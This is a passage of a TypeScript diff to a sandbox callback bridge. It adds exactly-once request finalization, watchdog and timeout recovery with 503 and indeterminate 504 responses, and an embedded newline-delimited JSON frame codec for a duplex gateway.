-        completedAt: new Date().toISOString(),
-      });
-      await input.client.remove(requestPath);
-      return;
-    }
-
-    const denialReason = await authorizeRequest(request);
-    if (denialReason) {
-      await writeBridgeResponse(input.client, requestPath, responsePath, {
-        id: request.id,
-        status: 403,
-        headers: { "content-type": "application/json" },
-        body: JSON.stringify({ error: denialReason }),
-        completedAt: new Date().toISOString(),
-      });
-      await input.client.remove(requestPath);
-      return;
-    }
-
-    try {
-      const result = await input.handleRequest(request);
-      const responseBody = result.body ?? "";
-      if (Buffer.byteLength(responseBody, "utf8") > maxBodyBytes) {
-        throw new Error(`Bridge response body exceeded the configured size limit of ${maxBodyBytes} bytes.`);
+    const guard: RequestFinalizeGuard = {
+      claim: "unclaimed",
+      controller: new AbortController(),
+      finalized: false,
+    };
+    inFlightRequestGuards.set(fileName, guard);
+    // Claim the request for the handler. Return `false` when the recovery path
+    // already claimed it; the caller must then not run the mutation and must not
+    // write a response, because the recovery path writes a 503 and the caller
+    // may retry.
+    const claimForHandler = (): boolean => {
+      if (guard.claim === "abandon") {
+        return false;
       }
-      await writeBridgeResponse(input.client, requestPath, responsePath, {
-        id: request.id,
-        status: result.status,
-        headers: result.headers ?? {},
-        body: responseBody,
-        completedAt: new Date().toISOString(),
-      });
-    } catch (error) {
-      console.warn(
-        `[paperclip] sandbox callback bridge handler failed for ${request.id}: ${error instanceof Error ? error.message : String(error)}`,
-      );
-      await writeBridgeResponse(input.client, requestPath, responsePath, {
-        id: request.id,
-        status: 502,
-        headers: { "content-type": "application/json" },
-        body: JSON.stringify({
-          error: error instanceof Error ? error.message : String(error),
-        }),
-        completedAt: new Date().toISOString(),
-      });
+      guard.claim = "handler";
+      return true;
+    };
+    // Finalize the request exactly once. Claim it for the handler first. When the
+    // recovery path already won the claim, skip both the write and the remove.
+    // The `finalized` fence stops a double write when the backstop timer already
+    // wrote a 504 for a handler the recovery path aborted. The handler wins when
+    // it settles inside the grace; the backstop wins when the handler never
+    // settles.
+    const finalize = async (response: SandboxCallbackBridgeResponse) => {
+      if (!claimForHandler()) {
+        return;
+      }
+      if (guard.finalized) {
+        return;
+      }
+      guard.finalized = true;
+      // This finalize now owns delivery for the request, so drop a pending
+      // backstop timer. The handler settled inside the grace, so the backstop no
+      // longer needs to wait; `finalize` delivers the terminal response itself,
+      // inline, and never leaves the request file for a detached timer that the
+      // busy poll loop could starve.
+      if (guard.backstopTimer !== undefined) {
+        clearTimeout(guard.backstopTimer);
+        guard.backstopTimer = undefined;
+      }
+      // Write the handler response, bounded by the per-iteration timeout so a
+      // hung sandbox channel never strands the caller until its own generic
+      // deadline. Retry a transient write failure, exactly like the 504 backstop
+      // write.
+      let lastWriteError = "Sandbox callback bridge could not write the handler response.";
+      for (let attempt = 1; attempt <= MAX_BACKSTOP_WRITE_ATTEMPTS; attempt += 1) {
+        try {
+          await withTimeout(
+            writeBridgeResponse(input.client, requestPath, responsePath, response),
+            iterationTimeoutMs,
+            `Sandbox callback bridge write response for ${response.id}`,
+          );
+          await input.client.remove(requestPath).catch(() => undefined);
+          return;
+        } catch (error) {
+          lastWriteError = error instanceof Error ? error.message : String(error);
+          console.warn(
+            `[paperclip] sandbox callback bridge failed to write response for ${response.id} (attempt ${attempt}/${MAX_BACKSTOP_WRITE_ATTEMPTS}): ${lastWriteError}`,
+          );
+          if (attempt < MAX_BACKSTOP_WRITE_ATTEMPTS) {
+            await new Promise((resolve) => setTimeout(resolve, BACKSTOP_WRITE_RETRY_MS));
+          }
+        }
+      }
+      // Every handler-response write failed. Deliver a non-retryable 504 backstop
+      // inline, so the caller gets a terminal response instead of a retryable 503
+      // that repeats a possibly-committed mutation, or a strand until its own
+      // deadline. Roll the `finalized` fence back so `writeAbortedHandlerBackstop`
+      // can proceed; it re-fences, retries the 504 write, and removes the request
+      // file. Await it, so the request file does not linger for the poll loop
+      // while the loop still runs.
+      guard.finalized = false;
+      await writeAbortedHandlerBackstop(fileName, guard, lastWriteError);
+    };
+    try {
+      const raw = await input.client.readTextFile(requestPath);
+      let request: SandboxCallbackBridgeRequest;
+      try {
+        request = JSON.parse(raw) as SandboxCallbackBridgeRequest;
+      } catch {
+        const requestId = fileName.replace(/\.json$/i, "") || randomUUID();
+        await finalize({
+          id: requestId,
+          status: 400,
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({ error: "Invalid bridge request payload." }),
+          completedAt: new Date().toISOString(),
+        });
+        return;
+      }
+
+      const denialReason = await authorizeRequest(request);
+      if (denialReason) {
+        await finalize({
+          id: request.id,
+          status: 403,
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({ error: denialReason }),
+          completedAt: new Date().toISOString(),
+        });
+        return;
+      }
+
+      // Claim the request for the handler before the host operation starts. When
+      // the recovery path already claimed it, it writes a 503 and the caller may
+      // retry, so do not run the mutation; the retry then applies it once. When
+      // the handler claims first, the recovery path leaves the request alone and
+      // the handler writes the real response.
+      if (!claimForHandler()) {
+        return;
+      }
+
+      // Build the response, then finalize once. The handler already holds the
+      // claim, so `finalize` writes the real response.
+      let response: SandboxCallbackBridgeResponse;
+      try {
+        const result = await input.handleRequest(request, { signal: guard.controller.signal });
+        const responseBody = result.body ?? "";
+        if (Buffer.byteLength(responseBody, "utf8") > maxBodyBytes) {
+          throw new Error(`Bridge response body exceeded the configured size limit of ${maxBodyBytes} bytes.`);
+        }
+        response = {
+          id: request.id,
+          status: result.status,
+          headers: result.headers ?? {},
+          body: responseBody,
+          completedAt: new Date().toISOString(),
+        };
+      } catch (error) {
+        console.warn(
+          `[paperclip] sandbox callback bridge handler failed for ${request.id}: ${error instanceof Error ? error.message : String(error)}`,
+        );
+        // Tell a worker abort apart from a normal handler failure. The recovery
+        // path aborts `guard.controller` when the per-iteration timeout or the
+        // watchdog fires. The abort reaches this catch only after the handler
+        // claimed the request and started the host operation. The bridge cannot
+        // cancel a host operation that is in flight, so the mutation may have
+        // committed. A 502 (or 503) is a retryable status: the caller retries it
+        // and applies the mutation twice. So return a non-retryable 504 and mark
+        // the outcome indeterminate. The caller must not retry a 504 from the
+        // bridge, unlike the retry-safe 503 that the recovery path writes only
+        // before the host operation starts.
+        if (guard.controller.signal.aborted) {
+          response = {
+            id: request.id,
+            status: 504,
+            headers: {
+              "content-type": "application/json",
+              "x-paperclip-bridge-outcome": "indeterminate",
+            },
+            body: JSON.stringify({
+              error: error instanceof Error ? error.message : String(error),
+              outcome: "indeterminate",
+              retryable: false,
+            }),
+            completedAt: new Date().toISOString(),
+          };
+        } else {
+          response = {
+            id: request.id,
+            status: 502,
+            headers: { "content-type": "application/json" },
+            body: JSON.stringify({
+              error: error instanceof Error ? error.message : String(error),
+            }),
+            completedAt: new Date().toISOString(),
+          };
+        }
+      }
+      await finalize(response);
     } finally {
-      await input.client.remove(requestPath);
+      // Drop the guard only when it still points to this attempt. A retry can
+      // register a new attempt under the same file name; that new guard must
+      // stay in the map. Keep the guard when a backstop is still pending: a
+      // failed terminal write re-arms the backstop and keeps the request file,
+      // so the guard must stay in the map. The poll loop then skips the file and
+      // does not re-run a possibly-committed mutation before the backstop writes
+      // its 504.
+      if (guard.backstopTimer === undefined && inFlightRequestGuards.get(fileName) === guard) {
+        inFlightRequestGuards.delete(fileName);
+      }
     }
   };
 
-  const failPendingRequests = async (message: string) => {
-    const fileNames = await input.client.listJsonFiles(directories.requestsDir).catch(() => []);
+  // Write the non-retryable 504 backstop for an aborted handler that did not
+  // finalize inside the grace. The `finalized` fence makes this a no-op when the
+  // handler already wrote its own response. The request file name is the request
+  // id plus `.json`, so derive the id from it without another client read that
+  // could hang on the same dead channel.
+  const writeAbortedHandlerBackstop = async (
+    fileName: string,
+    guard: RequestFinalizeGuard,
+    message: string,
+  ) => {
+    guard.backstopTimer = undefined;
+    if (guard.finalized) {
+      return;
+    }
+    guard.finalized = true;
+    const requestPath = path.posix.join(directories.requestsDir, fileName);
+    const responsePath = path.posix.join(directories.responsesDir, fileName);
+    const requestId = fileName.replace(/\.json$/i, "") || randomUUID();
+    for (let attempt = 1; attempt <= MAX_BACKSTOP_WRITE_ATTEMPTS; attempt += 1) {
+      try {
+        await withTimeout(
+          writeBridgeResponse(input.client, requestPath, responsePath, {
+            id: requestId,
+            status: 504,
+            headers: {
+              "content-type": "application/json",
+              "x-paperclip-bridge-outcome": "indeterminate",
+            },
+            body: JSON.stringify({ error: message, outcome: "indeterminate", retryable: false }),
+            completedAt: new Date().toISOString(),
+          }, {
+            requireRequestPath: false,
+          }),
+          iterationTimeoutMs,
+          `Sandbox callback bridge write 504 backstop for ${requestId}`,
+        );
+        // The 504 backstop reached the caller. Remove the request file, so the
+        // poll loop does not list it again and re-run the mutation.
+        await input.client.remove(requestPath).catch(() => undefined);
+        return;
+      } catch (error) {
+        console.warn(
+          `[paperclip] sandbox callback bridge failed to write 504 backstop for ${requestId} (attempt ${attempt}/${MAX_BACKSTOP_WRITE_ATTEMPTS}): ${error instanceof Error ? error.message : String(error)}`,
+        );
+        if (attempt < MAX_BACKSTOP_WRITE_ATTEMPTS) {
+          await new Promise((resolve) => setTimeout(resolve, BACKSTOP_WRITE_RETRY_MS));
+        }
+      }
+    }
+    // Every backstop write failed. Keep the request file and clear the fence, so a
+    // late handler can still finalize its own 504. The guard stays in the map, so
+    // the poll loop skips the file and does not re-run the mutation. A removed
+    // file plus a set fence would strand the caller until its own deadline and
+    // give it a generic 502 instead of the terminal 504.
+    //
+    // Re-arm the backstop directly. A stuck handler never settles, so its
+    // `processRequestFile` never runs the `finally` that drops the guard. The
+    // poll loop then skips the file on each iteration, so every iteration
+    // succeeds and the watchdog never trips again. No later recovery pass runs,
+    // so a re-arm here is the only path that retries the 504 write. Clear the
+    // fence before the re-arm, because `scheduleAbortedHandlerBackstop` bails on
+    // a set fence. The re-arm only re-writes the 504 response; it never re-runs
+    // the mutation, so a retry cannot apply the mutation twice.
+    guard.finalized = false;
+    scheduleAbortedHandlerBackstop(fileName, guard, message);
+  };
+
+  // Arm the backstop timer for a handler the recovery path just aborted. It is
+  // idempotent: a second recovery pass (the watchdog and the loop catch both run
+  // `failPendingRequests`) does not re-arm a live timer or one that already
+  // finalized.
+  const scheduleAbortedHandlerBackstop = (
+    fileName: string,
+    guard: RequestFinalizeGuard,
+    message: string,
+  ) => {
+    if (guard.finalized || guard.backstopTimer !== undefined) {
+      return;
+    }
+    guard.backstopTimer = setTimeout(() => {
+      void writeAbortedHandlerBackstop(fileName, guard, message);
+    }, abortedHandlerGraceMs);
+    if (typeof guard.backstopTimer.unref === "function") {
+      guard.backstopTimer.unref();
+    }
+  };
+
+  // Abort every queued request with a 503. The `abandonInFlight` option controls
+  // the completion fence for a request a `processRequestFile` attempt still owns.
+  // The timeout and watchdog recovery pass `true`: the loop already gave up on
+  // the request. When the handler did not yet start the host operation, claim the
+  // request so a later handler claim bails, then write the 503. When the handler
+  // already started, skip the 503; the recovery cannot cancel an in-flight host
+  // operation, and a 503 there would make the caller retry and apply the mutation
+  // twice. The stop drain passes `false` (the default): a request the loop
+  // already picked up keeps its normal completion, so a late handler result still
+  // wins over the drain 503, exactly like the earlier stop behavior.
+  const failPendingRequests = async (
+    message: string,
+    options: { abandonInFlight?: boolean } = {},
+  ) => {
+    if (options.abandonInFlight) {
+      // Abort every in-flight handler first, then arm its 504 backstop. The loop
+      // already gave up on the request. A handler that threads the signal into
+      // its work stops, rejects, and finalizes with its own error response inside
+      // the grace, so the request does not strand. A handler that ignores the
+      // signal and never settles does not finalize inside the grace; the backstop
+      // timer then writes a non-retryable 504, so the request still never
+      // strands. This reads the guard map directly, so it runs even when the
+      // request listing below fails on the same dead channel. It never writes a
+      // 503 for a handler-owned request: the recovery cannot cancel a committed
+      // host mutation, so a retryable status there could apply the mutation twice.
+      for (const [fileName, guard] of inFlightRequestGuards.entries()) {
+        if (guard.claim === "handler") {
+          guard.controller.abort(new Error(message));
+          scheduleAbortedHandlerBackstop(fileName, guard, message);
+        }
+      }
+    }
+    // Wrap each client call in the per-iteration timeout. When the sandbox
+    // channel is unresponsive, a client call hangs with no reject. The timeout
+    // keeps this recovery path fail-fast, so it never re-hangs on the same dead
+    // channel that triggered the recovery.
+    const fileNames = await withTimeout(
+      input.client.listJsonFiles(directories.requestsDir),
+      iterationTimeoutMs,
+      "Sandbox callback bridge list pending requests",
+    ).catch(() => [] as string[]);
     for (const fileName of fileNames) {
+      const guard = inFlightRequestGuards.get(fileName);
+      if (guard && guard.claim === "handler" && (options.abandonInFlight || guard.controller.signal.aborted)) {
+        // The handler already started this request's host operation, or it already
+        // finalized the request. The timeout and watchdog cannot cancel a host
+        // operation that is in flight. A competing 503 here makes the caller retry
+        // while the original mutation still completes, so the mutation applies
+        // twice. Leave the request for the handler to finalize, or for the 504
+        // backstop to finalize when the handler never settles. The recovery path
+        // reaches this skip through `abandonInFlight`. The stop drain reaches it
+        // only when the recovery path already aborted the handler, so a request
+        // whose 504 backstop write failed and kept its file never gets a competing
+        // 503 on stop. A normal in-flight handler at a graceful stop is not
+        // aborted, so it still gets the stop drain 503.
+        continue;
+      }
+      if (options.abandonInFlight && guard) {
+        // The handler did not start the host operation yet. Claim the request, so
+        // the handler bails at its host-operation claim instead of running the
+        // mutation. A retry after the 503 then applies the mutation once.
+        guard.claim = "abandon";
+      }
       const requestPath = path.posix.join(directories.requestsDir, fileName);
       const responsePath = path.posix.join(directories.responsesDir, fileName);
       const requestId = fileName.replace(/\.json$/i, "") || randomUUID();
+      let responseId = requestId;
       try {
-        const raw = await input.client.readTextFile(requestPath);
-        const parsed = JSON.parse(raw) as Partial<SandboxCallbackBridgeRequest>;
-        await input.client.remove(requestPath).catch(() => undefined);
-        await writeBridgeResponse(input.client, requestPath, responsePath, {
-          id: typeof parsed.id === "string" && parsed.id.length > 0 ? parsed.id : requestId,
-          status: 503,
-          headers: { "content-type": "application/json" },
-          body: JSON.stringify({ error: message }),
-          completedAt: new Date().toISOString(),
-        }, {
-          requireRequestPath: false,
-        });
-      } catch (error) {
-        console.warn(
-          `[paperclip] sandbox callback bridge failed to abort pending request ${requestId}: ${error instanceof Error ? error.message : String(error)}`,
+        const raw = await withTimeout(
+          input.client.readTextFile(requestPath),
+          iterationTimeoutMs,
+          `Sandbox callback bridge read pending request ${requestId}`,
         );
-      } finally {
-        await input.client.remove(requestPath).catch(() => undefined);
+        const parsed = JSON.parse(raw) as Partial<SandboxCallbackBridgeRequest>;
+        if (typeof parsed.id === "string" && parsed.id.length > 0) {
+          responseId = parsed.id;
+        }
+      } catch (error) {
+        // The read or the parse failed, most likely on the same dead channel that
+        // triggered this recovery. Keep the request file, so a later recovery pass
+        // can still read it and deliver a terminal 503. A remove here drops the
+        // request and strands the caller until its own deadline.
+        console.warn(
+          `[paperclip] sandbox callback bridge could not read pending request ${requestId}: ${error instanceof Error ? error.message : String(error)}`,
+        );
+        continue;
       }
+      // Write the 503 first, then remove the request file only after the write
+      // lands. Retry a transient failure, bounded by the per-iteration timeout,
+      // exactly like the finalize and 504 backstop writes. When every attempt
+      // fails, keep the request file. A later recovery pass, or the caller retry,
+      // then still finds the queued request and delivers a terminal 503, instead
+      // of a silent drop that strands the caller until its own deadline. The
+      // request is unclaimed or abandoned, so its host mutation never ran; a later
+      // 503 stays exactly-once.
+      let wrote503 = false;
+      let lastWriteError = "Sandbox callback bridge could not write the recovery 503.";
+      for (let attempt = 1; attempt <= MAX_BACKSTOP_WRITE_ATTEMPTS; attempt += 1) {
+        try {
+          await withTimeout(
+            writeBridgeResponse(input.client, requestPath, responsePath, {
+              id: responseId,
+              status: 503,
+              headers: { "content-type": "application/json" },
+              body: JSON.stringify({ error: message }),
+              completedAt: new Date().toISOString(),
+            }, {
+              requireRequestPath: false,
+            }),
+            iterationTimeoutMs,
+            `Sandbox callback bridge write 503 for ${requestId}`,
+          );
+          wrote503 = true;
+          break;
+        } catch (error) {
+          lastWriteError = error instanceof Error ? error.message : String(error);
+          console.warn(
+            `[paperclip] sandbox callback bridge failed to write recovery 503 for ${requestId} (attempt ${attempt}/${MAX_BACKSTOP_WRITE_ATTEMPTS}): ${lastWriteError}`,
+          );
+          if (attempt < MAX_BACKSTOP_WRITE_ATTEMPTS) {
+            await new Promise((resolve) => setTimeout(resolve, BACKSTOP_WRITE_RETRY_MS));
+          }
+        }
+      }
+      if (wrote503) {
+        // The 503 landed. Remove the request file, so the poll loop does not
+        // re-process it.
+        await input.client.remove(requestPath).catch(() => undefined);
+      } else {
+        // Every 503 write failed. Keep the request file for a later recovery pass.
+        console.warn(
+          `[paperclip] sandbox callback bridge kept queued request ${requestId} after every recovery 503 write failed: ${lastWriteError}`,
+        );
+      }
+    }
+  };
+
+  // Surface a bridge-worker failure through the run trace, not only stdout. A
+  // failed span under `input.runtimeSpan` records the error against the live run
+  // span, so the run and the orchestrator see the hang. When no `runtimeSpan`
+  // runner is wired (no injected tracer), the helper still writes a warn line,
+  // so the failure is never silent.
+  const surfaceRunError = async (error: Error) => {
+    if (input.runtimeSpan) {
+      try {
+        await input.runtimeSpan(CALLBACK_BRIDGE_WORKER_FAILED_SPAN, async () => {
+          throw error;
+        });
+      } catch {
+        // `runtimeSpan` re-throws after it records the failed span. The error is
+        // now on the trace; swallow it here so the worker recovery continues.
+      }
+    }
+    console.warn(`[paperclip] ${error.message}`);
+  };
+
+  // The timestamp of the last successful loop iteration. The watchdog compares
+  // it to the current time. The idle branch and every processed request update
+  // it, so steady progress keeps the watchdog re-armed.
+  let lastSuccessfulIterationAt = Date.now();
+  let watchdogTrippedAt: number | null = null;
+  let watchdogTripInFlight = false;
+  // Check often enough to fire soon after the threshold, but not so often that
+  // the check adds load. One fifth of the threshold, with a 10ms floor.
+  const watchdogCheckIntervalMs = Math.max(10, Math.floor(watchdogTimeoutMs / 5));
+
+  const handleWatchdogTrip = async (idleMs: number) => {
+    const message = `Sandbox callback bridge made no successful poll iteration for ${idleMs}ms; the sandbox connection is unresponsive.`;
+    await surfaceRunError(new Error(message));
+    try {
+      await failPendingRequests(message, { abandonInFlight: true });
+    } catch (error) {
+      console.warn(
+        `[paperclip] sandbox callback bridge watchdog failed to abort queued requests: ${error instanceof Error ? error.message : String(error)}`,
+      );
     }
   };
 
@@ -794,10 +1337,37 @@ export async function startSandboxCallbackBridgeWorker(input: {
   // its `criticalPath` flag. `runWithoutActiveStep` empties the store for the
   // loop only; Node keeps the empty store on every later poll continuation.
   const loop = runWithoutActiveStep(() => (async () => {
+    // The watchdog runs on its own timer, so it fires even while the loop is
+    // stuck on an awaited client call. It is the backstop for a hang the
+    // per-iteration timeout does not catch. `unref` keeps it from holding the
+    // process open. The loop `finally` clears it on every exit.
+    const watchdogTimer = setInterval(() => {
+      if (settled || stopping) return;
+      const idleMs = Date.now() - lastSuccessfulIterationAt;
+      if (idleMs < watchdogTimeoutMs) return;
+      // Fire once per hang period. Re-arm only after the loop advances
+      // `lastSuccessfulIterationAt` past the last trip (a new successful
+      // iteration), so a persistent hang never fires the watchdog repeatedly.
+      if (watchdogTrippedAt !== null && watchdogTrippedAt >= lastSuccessfulIterationAt) return;
+      if (watchdogTripInFlight) return;
+      watchdogTrippedAt = Date.now();
+      watchdogTripInFlight = true;
+      void handleWatchdogTrip(idleMs).finally(() => {
+        watchdogTripInFlight = false;
+      });
+    }, watchdogCheckIntervalMs);
+    if (typeof watchdogTimer.unref === "function") {
+      watchdogTimer.unref();
+    }
     try {
       while (true) {
-        const fileNames = await input.client.listJsonFiles(directories.requestsDir);
+        const fileNames = await withTimeout(
+          input.client.listJsonFiles(directories.requestsDir),
+          iterationTimeoutMs,
+          "Sandbox callback bridge list requests",
+        );
         if (fileNames.length === 0) {
+          lastSuccessfulIterationAt = Date.now();
           if (stopping) {
             break;
           }
@@ -815,32 +1385,41 @@ export async function startSandboxCallbackBridgeWorker(input: {
             // live parent switches to `agent.turn` during the turn and back to
             // `task.run` after it. Without a runner, the request runs under the
             // run parent with no wrapper span, exactly like the earlier behavior.
-            await (input.runtimeSpan
-              ? input.runtimeSpan(CALLBACK_BRIDGE_RELAY_REQUEST_SPAN, () =>
-                  processRequestFile(fileName),
-                )
-              : runWithRuntimeParent(input.getRuntimeParentContext?.(), () =>
-                  processRequestFile(fileName),
-                ));
+            // The per-iteration timeout wraps the whole request, so a hung
+            // request rejects and the loop `catch` runs `failPendingRequests`.
+            await withTimeout(
+              input.runtimeSpan
+                ? input.runtimeSpan(CALLBACK_BRIDGE_RELAY_REQUEST_SPAN, () =>
+                    processRequestFile(fileName),
+                  )
+                : runWithRuntimeParent(input.getRuntimeParentContext?.(), () =>
+                    processRequestFile(fileName),
+                  ),
+              iterationTimeoutMs,
+              `Sandbox callback bridge process request ${fileName}`,
+            );
+            lastSuccessfulIterationAt = Date.now();
           } finally {
             inFlight -= 1;
           }
         }
+        lastSuccessfulIterationAt = Date.now();
         if (stopping && Date.now() >= stopDeadline) {
           break;
         }
       }
     } catch (error) {
       const message = buildWorkerFailureMessage(error);
-      console.warn(`[paperclip] ${message}`);
+      await surfaceRunError(new Error(message));
       try {
-        await failPendingRequests(message);
+        await failPendingRequests(message, { abandonInFlight: true });
       } catch (failPendingError) {
         console.warn(
           `[paperclip] sandbox callback bridge failed to abort queued requests after worker failure: ${failPendingError instanceof Error ? failPendingError.message : String(failPendingError)}`,
         );
       }
     } finally {
+      clearInterval(watchdogTimer);
       settled = true;
       if (settleResolve) {
         settleResolve();
@@ -1153,30 +1732,230 @@ export async function startSandboxCallbackBridgeServer(input: {
   };
 }
 
-function getSandboxCallbackBridgeServerSource(): string {
+/**
+ * The zero-dependency codec the generated duplex gateway embeds. It is a plain
+ * JavaScript copy of the host codec in `duplex-frame-codec.ts`. It uses only the
+ * `Buffer`, `JSON`, `Object`, `Set`, and `Array` globals, so the generated
+ * `.mjs` needs no workspace import. It carries no template literal and no `${`
+ * sequence, so it embeds inside the gateway template literal with no escape.
+ *
+ * A shared fixture file (`duplex-frame-vectors.json`) proves this copy stays wire
+ * compatible with the host codec. {@link getSandboxDuplexGatewayCodecSource}
+ * returns this exact source so a test can run every fixture vector against it.
+ */
+const DUPLEX_GATEWAY_CODEC_SOURCE = `const DUPLEX_FRAME_VERSION = 1;
+const DEFAULT_MAX_DUPLEX_FRAME_BYTES = 1000000;
+const DUPLEX_NEWLINE_BYTE = 0x0a;
+const DUPLEX_EMPTY = Buffer.alloc(0);
+const DUPLEX_RESPONSE_OUTCOMES = new Set(["completed", "indeterminate", "unavailable"]);
+
+function duplexOk(frame) {
+  return { ok: true, frame: frame };
+}
+
+function duplexFail(code, message) {
+  return { ok: false, error: { code: code, message: message } };
+}
+
+function duplexIsPlainObject(value) {
+  return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+
+function duplexIsStringRecord(value) {
+  if (!duplexIsPlainObject(value)) return false;
+  for (const entry of Object.values(value)) {
+    if (typeof entry !== "string") return false;
+  }
+  return true;
+}
+
+function encodeDuplexFrame(frame) {
+  return JSON.stringify(frame) + "\\n";
+}
+
+function decodeDuplexLine(line) {
+  const text = typeof line === "string" ? line : line.toString("utf8");
+  let parsed;
+  try {
+    parsed = JSON.parse(text);
+  } catch (error) {
+    return duplexFail("malformed_frame", "frame is not valid JSON");
+  }
+  if (!duplexIsPlainObject(parsed)) {
+    return duplexFail("malformed_frame", "frame is not a JSON object");
+  }
+  if (parsed.version !== DUPLEX_FRAME_VERSION) {
+    return duplexFail("version_mismatch", "frame version " + String(parsed.version) + " is not " + DUPLEX_FRAME_VERSION);
+  }
+  return duplexValidateFrame(parsed);
+}
+
+function duplexValidateFrame(frame) {
+  switch (frame.type) {
+    case "request":
+      return duplexValidateRequest(frame);
+    case "response":
+      return duplexValidateResponse(frame);
+    case "ready":
+      return duplexValidateReady(frame);
+    case "heartbeat":
+      return duplexOk(frame);
+    case "close":
+      return duplexOk(frame);
+    case "error":
+      return duplexValidateError(frame);
+    default:
+      return duplexFail("unknown_type", "unknown frame type " + JSON.stringify(frame.type));
+  }
+}
+
+function duplexValidateRequest(frame) {
+  if (
+    typeof frame.id !== "string" ||
+    typeof frame.method !== "string" ||
+    typeof frame.path !== "string" ||
+    typeof frame.query !== "string" ||
+    typeof frame.body !== "string" ||
+    !duplexIsStringRecord(frame.headers)
+  ) {
+    return duplexFail("malformed_frame", "request frame has a missing or wrong-typed field");
+  }
+  return duplexOk(frame);
+}
+
+function duplexValidateResponse(frame) {
+  if (
+    typeof frame.id !== "string" ||
+    typeof frame.status !== "number" ||
+    typeof frame.body !== "string" ||
+    !duplexIsStringRecord(frame.headers) ||
+    typeof frame.outcome !== "string" ||
+    !DUPLEX_RESPONSE_OUTCOMES.has(frame.outcome)
+  ) {
+    return duplexFail("malformed_frame", "response frame has a missing or wrong-typed field");
+  }
+  return duplexOk(frame);
+}
+
+function duplexValidateReady(frame) {
+  if (typeof frame.address !== "string") {
+    return duplexFail("malformed_frame", "ready frame has a missing or wrong-typed address");
+  }
+  return duplexOk(frame);
+}
+
+function duplexValidateError(frame) {
+  if (typeof frame.code !== "string") {
+    return duplexFail("malformed_frame", "error frame has a missing or wrong-typed code");
+  }
+  if (frame.message !== undefined && typeof frame.message !== "string") {
+    return duplexFail("malformed_frame", "error frame has a wrong-typed message");
+  }
+  return duplexOk(frame);
+}
+
+class DuplexFrameDecoder {
+  constructor(options) {
+    this.buffer = DUPLEX_EMPTY;
+    this.discarding = false;
+    this.maxFrameBytes =
+      options && options.maxFrameBytes != null ? options.maxFrameBytes : DEFAULT_MAX_DUPLEX_FRAME_BYTES;
+  }
+
+  push(chunk) {
+    const incoming = typeof chunk === "string" ? Buffer.from(chunk, "utf8") : Buffer.from(chunk);
+    this.buffer = this.buffer.length === 0 ? incoming : Buffer.concat([this.buffer, incoming]);
+    const results = [];
+    for (;;) {
+      if (this.discarding) {
+        const newlineIndex = this.buffer.indexOf(DUPLEX_NEWLINE_BYTE);
+        if (newlineIndex === -1) {
+          this.buffer = DUPLEX_EMPTY;
+          break;
+        }
+        this.buffer = this.buffer.subarray(newlineIndex + 1);
+        this.discarding = false;
+        continue;
+      }
+      const newlineIndex = this.buffer.indexOf(DUPLEX_NEWLINE_BYTE);
+      if (newlineIndex === -1) {
+        if (this.buffer.length > this.maxFrameBytes) {
+          results.push(duplexFail("frame_too_large", "frame exceeds the maximum size"));
+          this.discarding = true;
+          this.buffer = DUPLEX_EMPTY;
+        }
+        break;
+      }
+      const line = this.buffer.subarray(0, newlineIndex);
+      this.buffer = this.buffer.subarray(newlineIndex + 1);
+      if (line.length === 0) continue;
+      if (line.length > this.maxFrameBytes) {
+        results.push(duplexFail("frame_too_large", "frame exceeds the maximum size"));
+        continue;
+      }
+      results.push(decodeDuplexLine(line));
+    }
+    return results;
+  }
+}`;
+
+/**
+ * Return the exact zero-dependency codec source the generated duplex gateway
+ * embeds. A test runs every fixture vector against this source, so it proves the
+ * embedded copy decodes the same bytes as the host codec. The source declares
+ * `encodeDuplexFrame`, `decodeDuplexLine`, `DuplexFrameDecoder`,
+ * `DUPLEX_FRAME_VERSION`, and `DEFAULT_MAX_DUPLEX_FRAME_BYTES`, but exports none
+ * of them; a caller wraps it to read those names.
+ */
+export function getSandboxDuplexGatewayCodecSource(): string {
+  return DUPLEX_GATEWAY_CODEC_SOURCE;
+}
+
+export function getSandboxCallbackBridgeServerSource(): string {
   return `import { randomUUID, timingSafeEqual } from "node:crypto";
 import { createServer } from "node:http";
 import { promises as fs } from "node:fs";
 import path from "node:path";
 
+const bridgeMode = process.env.PAPERCLIP_API_BRIDGE_MODE || "${SANDBOX_CALLBACK_BRIDGE_FILE_MODE}";
 const queueDir = process.env.PAPERCLIP_BRIDGE_QUEUE_DIR;
 const bridgeToken = process.env.PAPERCLIP_BRIDGE_TOKEN;
 const host = process.env.PAPERCLIP_BRIDGE_HOST || "127.0.0.1";
 const port = Number(process.env.PAPERCLIP_BRIDGE_PORT || "0");
 const pollIntervalMs = Number(process.env.PAPERCLIP_BRIDGE_POLL_INTERVAL_MS || "100");
-const responseTimeoutMs = Number(process.env.PAPERCLIP_BRIDGE_RESPONSE_TIMEOUT_MS || "30000");
+const responseTimeoutMs = Number(
+  process.env.PAPERCLIP_BRIDGE_RESPONSE_TIMEOUT_MS ||
+    (bridgeMode === "${SANDBOX_CALLBACK_BRIDGE_DUPLEX_MODE}"
+      ? "${DEFAULT_DUPLEX_GATEWAY_WAIT_BUDGET_MS}"
+      : "${DEFAULT_BRIDGE_RESPONSE_TIMEOUT_MS}"),
+);
 const maxQueueDepth = Number(process.env.PAPERCLIP_BRIDGE_MAX_QUEUE_DEPTH || "${DEFAULT_BRIDGE_MAX_QUEUE_DEPTH}");
 const maxBodyBytes = Number(process.env.PAPERCLIP_BRIDGE_MAX_BODY_BYTES || "${DEFAULT_BRIDGE_MAX_BODY_BYTES}");
+const heartbeatIntervalMs = Number(
+  process.env.PAPERCLIP_BRIDGE_HEARTBEAT_INTERVAL_MS || "${DEFAULT_DUPLEX_GATEWAY_HEARTBEAT_INTERVAL_MS}",
+);
+const heartbeatTimeoutMs = Number(
+  process.env.PAPERCLIP_BRIDGE_HEARTBEAT_TIMEOUT_MS || "${DEFAULT_DUPLEX_GATEWAY_HEARTBEAT_TIMEOUT_MS}",
+);
+const lossExitGraceMs = Number(
+  process.env.PAPERCLIP_BRIDGE_LOSS_EXIT_GRACE_MS || "${DEFAULT_DUPLEX_GATEWAY_LOSS_EXIT_GRACE_MS}",
+);
+// The header allowlist. Both the file gateway and the duplex gateway strip an
+// inbound request to these headers before they forward it. One copy serves both
+// modes. The route allowlist stays on the host: both modes forward a request to
+// the host, and the host enforces the same route allowlist for each.
 const allowedHeaders = new Set(${JSON.stringify([...DEFAULT_SANDBOX_CALLBACK_BRIDGE_HEADER_ALLOWLIST])});
 
